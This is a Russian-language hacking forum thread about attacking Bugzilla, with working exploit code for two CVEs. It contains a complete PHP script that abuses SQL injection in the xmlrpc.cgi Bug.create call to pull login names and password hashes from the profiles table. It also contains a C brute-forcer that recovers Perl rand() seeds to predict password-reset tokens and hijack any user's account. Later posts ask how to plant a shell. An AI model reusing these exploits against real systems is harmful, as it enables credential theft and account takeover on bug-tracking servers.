Старый 04.04.2011, 14:52   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию Bugzilla

Bugzilla

Назначение: широко используемый софт для отслеживания багов при разработке

Язык: Perl

Настройки доступа к БД: /localconfig (доступ закрыт .htaccess)

Таблица с учетными записями: profiles

Её структура и пример:
Код:
userid 	login_name 	cryptpassword	realname 	disabledtext 	disable_mail 	mybugslink 	extern_id
1	asd@asd.com	MakhTnrRosOBY
Пароль хэшируется DES-ом (в линейке 3.2).

Последний раз редактировалось SynQ; 04.04.2011 в 15:52..
SynQ вне форума   Ответить с цитированием
Старый 04.04.2011, 15:20   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

SQL Injection

Уязвимые версии:
2.23.4 - 3.0.8
3.1.1 - 3.2.4



В версиях 2.23.4 -- 3.0.8 и 3.1.1 -- 3.2.4 в сентябре 2009 была обнаружена SQL инъекция в компоненте WebService (АПИ Багзиллы через xmlrpc.cgi).

И хотя, как и отмечено в advisory, эксплуатация сильно затруднена в силу случайного местоположения инъекции в итоговом запросе к БД, приведенный ниже скрипт стабильно выдает логин и пароль для произвольного userid из БД.

Информация об уязвимости: http://www.bugzilla.org/security/3.0.8/
CVE: CVE-2009-3165

В этой же advisory приведена информация о подобной, но более простой, инъекции в версиях 3.3.1 -- 3.4.1, она мною не рассмотрена.

Для работы необходим установленный модуль php5-xmlrpc.

Пример работа скрипта:
Цитата:
$ php bugzilla-xml.php
1:asd@asd.com:MakhTnrRosOBY
Пример работа скрипта с подробным выводом:

Цитата:
$ php bugzilla-xml.php
PHP Notice: xmlrpc: DBD::mysql::db do failed: Duplicate entry 'asd@asd.com1' for key 'group_key' [for Statement "INSERT INTO bugs (priority, short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select concat(substring(login_name,1,5),substring(login_n ame,6,50)) from profiles where userid=1),floor(rand(0)*2))x from information_schema.tables group by x)a))-- ', reporter, keywords, product_id, rep_platform, assigned_to, qa_contact, everconfirmed, short_desc, bug_severity, bug_status, delta_ts, version, component_id, target_milestone, op_sys) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"] at Bugzilla/Object.pm line 418
...
PHP Notice: xmlrpc: DBD::mysql::db do failed: Duplicate entry 'MakhTnrRosOBY1' for key 'group_key' [for Statement "INSERT INTO bugs (priority, reporter, keywords, product_id, rep_platform, assigned_to, qa_contact, everconfirmed, short_desc, short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select cryptpassword from profiles where userid=...

PHP код:
<?
    
/*
      Script for Bugzilla 2.23.4 -- 3.0.8, 3.1.1 -- 3.2.4 SQL Injection in Bug.create via xmlrpc.cgi
      Author: SynQ, rdot.org, 04/2011

      Advisory: http://www.bugzilla.org/security/3.0.8/
      CVE: CVE-2009-3165
      Tested on v3.2rc1


      From advisory:
             This particular hole is much more difficult to exploit 
             than the Bug.search one, due to the fact that the SQL
             around the insertion point is highly random, making it
             difficult for an attacker to craft a successful attack.

      That's true, though I've managed to craft the query (see the code) 
      that works stable on my particular machine, you might face a trouble.
      If you did or want to edit the exploit, the function that randomizes
      insert point of INSERT SQL inj is in /Bugzilla/Bug.pm's run_create_validators().

      Heavily based on code by Yuri Timofeev
     */
    
$URL='http://localhost/cgi-bin/bugzilla-3.2rc1/xmlrpc.cgi';
    
$login='asd@asd.com';
    
$pass='qwerty';
    
$userid=1;            // user id, which password hash you're looking for


    
error_reporting(E_ALL);
    
$xml_data = array(
        
'login' => $login,
        
'password' => $pass,
        
'remember' => 1
    
);
    
$file_cookie tempnam('''bugzilla-cookie');
    
$options = array(
        
//CURLOPT_VERBOSE => true,
        
CURLOPT_URL     => $URL,
        
CURLOPT_POST    => true,
        
CURLOPT_RETURNTRANSFER => true,
        
CURLOPT_HTTPHEADER  => array( 'Content-Type: text/xml''charset=utf-8' )
    );


    
//------ Login and receive bugzillas cookies
    
$ch curl_init();
    
curl_setopt_array($ch$options);
    
$request xmlrpc_encode_request("User.login"$xml_data); // see also  http://www.bugzilla.org/docs/3.2/en/html/api/Bugzilla/WebService/User.html
    
curl_setopt($chCURLOPT_POSTFIELDS$request);
    
curl_setopt($chCURLOPT_COOKIEJAR$file_cookie);
    
/* Returns: On success, a hash containing one item, id, the numeric id of the user that was logged in.
       A set of http cookies is also sent with the response.
       These cookies must be sent along with any future requests to the webservice, for the duration of the session. */
    
$server_output curl_exec($ch); // Array( [id] => 1 ) for example

    
$response xmlrpc_decode($server_output);
    if (empty(
$response['id']))
        
trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
    
curl_close($ch);

$i=2;
$creds=$userid;
while(
$i--){
    
//------ Login (send cookies) and get bugs info
    
$ch curl_init();
    
curl_setopt_array($ch$options);
    
//$xml_data['ids'] = $bug_ids;
    //$request = xmlrpc_encode_request("Bug.get", $xml_data); // see also  http://www.bugzilla.org/docs/3.2/en/html/api/Bugzilla/WebService/Bug.html

    
$xml_data="";
    
$xml_data['product']="TestProduct";
    
$xml_data['component']="TestComponent";
    
$xml_data['version']="unspecified";
    
$xml_data['bug_severity']="enhancement";
    
$xml_data['rep_platform']="PC";
    
$xml_data['op_sys']="Linux";
    
$xml_data['priority']="P5";
    
$xml_data['bug_status']="NEW";
    
$xml_data['assigned_to']=$login;
    
$xml_data['short_desc']="2";

if(
$i)
    
$xml_data["short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select concat(substring(login_name,1,5),substring(login_name,6,50)) from profiles where userid=$userid),floor(rand(0)*2))x from information_schema.tables group by x)a))-- '"]="23";
else
    
$xml_data["short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select cryptpassword from profiles where userid=$userid),floor(rand(0)*2))x from information_schema.tables group by x)a))-- '"]="23";

    
$request xmlrpc_encode_request("Bug.create"$xml_data);

    
curl_setopt($chCURLOPT_POSTFIELDS$request);
    
curl_setopt($chCURLOPT_COOKIEFILE$file_cookie);
    
$server_output curl_exec($ch);
    
curl_close($ch);

    
$response xmlrpc_decode($server_output);


    
preg_match("/Duplicate entry \'(.+)\' for key/m"$response['faultString'], $name);
    
//print_r($name);
    
$creds.=":".substr($name[1],0,strlen($name[1])-1);

/* raskommentite 4toby uvidet' syroi otvet
    if (xmlrpc_is_fault($response))
        trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
    else
        print_r($response);
*/
}
    echo 
$creds."\n";
    
unlink($file_cookie);
?>

Последний раз редактировалось SynQ; 04.04.2011 в 15:32..
SynQ вне форума   Ответить с цитированием
Старый 06.01.2012, 14:07   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию Bugzilla CVE-2010-4568: сброс пароля любого пользователя.

CVE-2010-4568

Уязвимые версии: 2.14 to 3.2.9, 3.4.9, 3.6.3, 4.0rc1
Пофикшено в: 3.2.10, 3.4.10, 3.6.4, 4.0rc2

Один из багов в эдвайзори весной был скрыт. Недавно обнаружил, что в конце лета его открыли.

https://bugzilla.mozilla.org/show_bug.cgi?id=619594

На заметку: в баге разрабы обсуждают, как напишут в ченджлоге безобидное объяснение, чтобы не было массовых взломов, - не всегда стоит верить ченджлогам на слово

Суть в том, что, имея акк в багзилле, мы можем сбросить пароль любого пользователя и, вследствие использования ненадежной функции rand(), довольно быстро определить, какой токен был отправлен на мыло для подтверждения сброса пароля.

При обращении к token.cgi происходит логин и получение куки с токеном, и последовательно (!) генерация следующего токена для сброса пароля.


Т.е. посылая запрос POST к /token.cgi
Код:
Bugzilla_login=<ATTACKER_LOGIN>&Bugzilla_password=<ATTACKER_PASSWORD>&Bugzilla_remember=on&loginname=<VICTIM_LOGINNAME>&a=reqpw
мы получим куки с токеном сессии Bugzilla_logincookie=1aYuLIgIJc, а жертве будет отослан следующий неизвестный токен.

Если свести к наглядному примеру, то в token.cgi происходит следующее:
PHP код:
#!/usr/bin/perl
sub generate_random_password {
    
my $size shift || 10# default to 10 chars if nothing specified
    
return join(""map{ ('0'..'9','a'..'z','A'..'Z')[rand 62] } (1..$size));
}

print 
generate_random_password()."\n".generate_random_password()."\n"
Цитата:
Сообщение от Вывод
1aYuLIgIJc
N94gqyH1x0
Перловая rand() уже давно считается ненадежной, т.к. при одинаковом начальном seed все "случайные" последовательности будут одинаковы, а seed при этом 32-битный и легко брутится.

Таким образом задача сводится к бруту seed до тех пор, пока мы не получим на своем компьютере тот же токен, что нам дала багзилла в куках, после чего с этим найденным seed мы сможем сгенерировать следующий токен, который был отправлен юзеру для смены пароля.

После этого меняем пароль: /token.cgi?t=BRUTED_TOKEN&a=cfmpw

Полный проход (худший вариант) у меня занимает 3,5 минуты , в зависимости от процессора может занять до 10 минут.
Функции скопированы из glibc (rand() перла вызывает srand48_r() для генерации seed, а затем drand48_r() для генерации рандомных значений).

Код:
/* CVE-2010-4568
*  SynQ, rdot.org, 01/2012
*/
#include <ieee754.h>
#include <errno.h>
#include <stdlib.h>
#include <limits.h>
#include <stdint.h>
#include <sys/types.h>
#include <errno.h>
#include <math.h>
#include <stdio.h>

/* Global state for non-reentrant functions.  */
struct drand48_data __libc_drand48_data;


int
__drand48_iterate (xsubi, buffer)
     unsigned short int xsubi[3];
     struct drand48_data *buffer;
{
  uint64_t X;
  uint64_t result;

  /* Initialize buffer, if not yet done.  */
  if (__builtin_expect (!buffer->__init, 0))
    {
      buffer->__a = 0x5deece66dull;
      buffer->__c = 0xb;
      buffer->__init = 1;
    }

  /* Do the real work.  We choose a data type which contains at least
     48 bits.  Because we compute the modulus it does not care how
     many bits really are computed.  */

  X = (uint64_t) xsubi[2] << 32 | (uint32_t) xsubi[1] << 16 | xsubi[0];

  result = X * buffer->__a + buffer->__c;

  xsubi[0] = result & 0xffff;
  xsubi[1] = (result >> 16) & 0xffff;
  xsubi[2] = (result >> 32) & 0xffff;

  return 0;
}

int
__erand48_r (xsubi, buffer, result)
     unsigned short int xsubi[3];
     struct drand48_data *buffer;
     double *result;
{
  union ieee754_double temp;

  /* Compute next state.  */
  if (__drand48_iterate (xsubi, buffer) < 0)
    return -1;

  /* Construct a positive double with the 48 random bits distributed over
     its fractional part so the resulting FP number is [0.0,1.0).  */

  temp.ieee.negative = 0;
  temp.ieee.exponent = IEEE754_DOUBLE_BIAS;
  temp.ieee.mantissa0 = (xsubi[2] << 4) | (xsubi[1] >> 12);
  temp.ieee.mantissa1 = ((xsubi[1] & 0xfff) << 20) | (xsubi[0] << 4);

  /* Please note the lower 4 bits of mantissa1 are always 0.  */
  *result = temp.d - 1.0;

  return 0;
}

int
drand48_r (buffer, result)
     struct drand48_data *buffer;
     double *result;
{
  return __erand48_r (buffer->__x, buffer, result);
}

int __srand48_r (seedval, buffer)
     long int seedval;
     struct drand48_data *buffer;
{
  buffer->__x[2] = seedval >> 16;
  buffer->__x[1] = seedval & 0xffffl;
  buffer->__x[0] = 0x330e;

  buffer->__a = 0x5deece66dull;
  buffer->__c = 0xb;
  buffer->__init = 1;

  return 0;
}
//////////////////^^^glibc_functions from stdlib/*.c//////////////////////////////

int makeall( long *seed, char *calcword ){
  double resultat;
  int i;// resultat2;
  char azbuki[]="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  __srand48_r(*seed, &__libc_drand48_data);

  for(i=0; i<20; i++)
  {
	drand48_r(&__libc_drand48_data, &resultat);
	//resultat *= 62;
	//resultat2 = (long)(resultat);
	calcword[i] = azbuki[ (long)(resultat*62) ];
  }
  return 0;
}

int main(int argc, char *argv[]){
  long seed;
  double resultat;
  char calcword[20], intoken[10];
  char azbuki[]="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  //int resultat2;
  if(argc != 2 || strlen(argv[1]) != 10){
	printf("Provide token (length=10)!\n");
	exit(1);
  }
  strncpy(intoken, argv[1], 10);

  for(seed=0; seed<0xffffffff; seed++)
  {
    __srand48_r(seed, &__libc_drand48_data);
    drand48_r(&__libc_drand48_data, &resultat);
    //resultat2 = (long)(resultat*62);

    if( azbuki[ (long)(resultat*62) ] == intoken[0] )
    {
      drand48_r(&__libc_drand48_data, &resultat);
      //resultat2 = (long)(resultat*62);

	if( azbuki[ (long)(resultat*62) ] == intoken[1] )
	  {
		makeall(&seed, calcword);
		if( strncmp(intoken, calcword, 10) == 0)
		  {
		  printf("Seed:0x%lx\nYour token: %.10s\nNext token: %.10s\n", \
							seed, calcword, calcword+10);
		  exit(0);
		  }
	  }
    }
  }

  printf("Failed! Probably wrong token or the seed is ridiculous 0xffffffff\n");
  return 0;
}
Пример работы:
Код:
synq@ubuntu:/usr/lib/cgi-bin$ time ./srand lmBWAR4H4t
Seed:0x1b4558b1
Your token: lmBWAR4H4t
Next token: B2SvINJKE8

real	0m20.162s
user	0m20.161s
sys	0m0.004s

P.S. Кто знает как слить базу/получить шелл из админки багзиллы?

Последний раз редактировалось SynQ; 19.03.2012 в 09:06..
SynQ вне форума   Ответить с цитированием
Старый 03.04.2014, 20:30   #4
uzmarshall
 
Аватар для uzmarshall
 
Регистрация: 10.09.2013
Сообщений: 1
Репутация: 0
По умолчанию

Как залить шелл , кто знает?! помогите плс.
uzmarshall вне форума   Ответить с цитированием
Старый 19.01.2015, 15:46   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

The Perl Jam: Exploiting a 20 Year-old Vulnerability [31c3]:
https://www.youtube.com/watch?v=gweDBQ-9LuQ
SynQ вне форума   Ответить с цитированием
Ответ

Метки
bugzilla, exploit, mozilla, perl

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot